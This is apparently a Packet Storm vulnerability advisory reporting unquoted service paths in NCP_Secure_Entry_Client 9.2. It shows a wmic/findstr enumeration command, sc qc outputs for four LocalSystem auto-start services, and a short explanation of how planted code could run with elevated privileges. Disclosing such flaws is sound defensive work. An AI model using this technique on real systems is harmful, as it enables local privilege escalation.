what you don't know can hurt you

NCP_Secure_Entry_Client 9.2 Unquoted Service Path

NCP_Secure_Entry_Client 9.2 Unquoted Service Path
Posted Nov 17, 2019
Authored by Akif Mohamed Ik

NCP_Secure_Entry_Client version 9.2 suffers from multiple unquoted service path vulnerabilities.

tags | exploit, vulnerability
MD5 | 9739ded1d46fec83cc8bd382b852a350

NCP_Secure_Entry_Client 9.2 Unquoted Service Path

Change Mirror Download
# Exploit Title: NCP_Secure_Entry_Client 9.2 - Unquoted Service Paths
# Date: 2019-11-17
# Exploit Author: Akif Mohamed Ik
# Vendor Homepage: http://software.ncp-e.com/
# Software Link: http://software.ncp-e.com/NCP_Secure_Entry_Client/Windows/9.2x/
# Version: 9.2x
# Tested on: Windows 7 SP1
# CVE : NA
C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

ncprwsnt ncprwsnt
C:\Program Files (x86)\NCP\SecureClient\ncprwsnt.exe
Auto
rwsrsu rwsrsu
C:\Program Files (x86)\NCP\SecureClient\rwsrsu.exe
Auto
ncpclcfg ncpclcfg
C:\Program Files (x86)\NCP\SecureClient\ncpclcfg.exe
Auto
NcpSec NcpSec
C:\Program Files (x86)\NCP\SecureClient\NCPSEC.EXE
Auto

C:\Users\ADMIN>sc qc ncprwsnt
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: ncprwsnt
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\NCP\SecureClient\ncprwsnt.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : ncprwsnt
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

C:\Users\ADMIN>sc qc rwsrsu
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME : rwsrsu
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\NCP\SecureClient\rwsrsu.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : rwsrsu
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

C:\Users\ADMIN>sc qc ncpclcfg
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME : ncpclcfg
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\NCP\SecureClient\ncpclcfg.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : ncpclcfg
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

C:\Users\ADMIN>sc qc NcpSec
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME : NcpSec
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\NCP\SecureClient\NCPSEC.EXE
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : NcpSec
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

#Exploit:

A successful attempt would require the local user to be able to insert
their code in the system root path undetected by the OS or other
security applications where it could potentially be executed during
application startup or reboot. If successful, the local user's code
would execute with the elevated privileges of the application.
Login or Register to add favorites

File Archive:

July 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    13 Files
  • 2
    Jul 2nd
    12 Files
  • 3
    Jul 3rd
    1 Files
  • 4
    Jul 4th
    2 Files
  • 5
    Jul 5th
    34 Files
  • 6
    Jul 6th
    21 Files
  • 7
    Jul 7th
    21 Files
  • 8
    Jul 8th
    13 Files
  • 9
    Jul 9th
    6 Files
  • 10
    Jul 10th
    1 Files
  • 11
    Jul 11th
    3 Files
  • 12
    Jul 12th
    15 Files
  • 13
    Jul 13th
    19 Files
  • 14
    Jul 14th
    15 Files
  • 15
    Jul 15th
    15 Files
  • 16
    Jul 16th
    9 Files
  • 17
    Jul 17th
    2 Files
  • 18
    Jul 18th
    2 Files
  • 19
    Jul 19th
    19 Files
  • 20
    Jul 20th
    21 Files
  • 21
    Jul 21st
    53 Files
  • 22
    Jul 22nd
    14 Files
  • 23
    Jul 23rd
    14 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close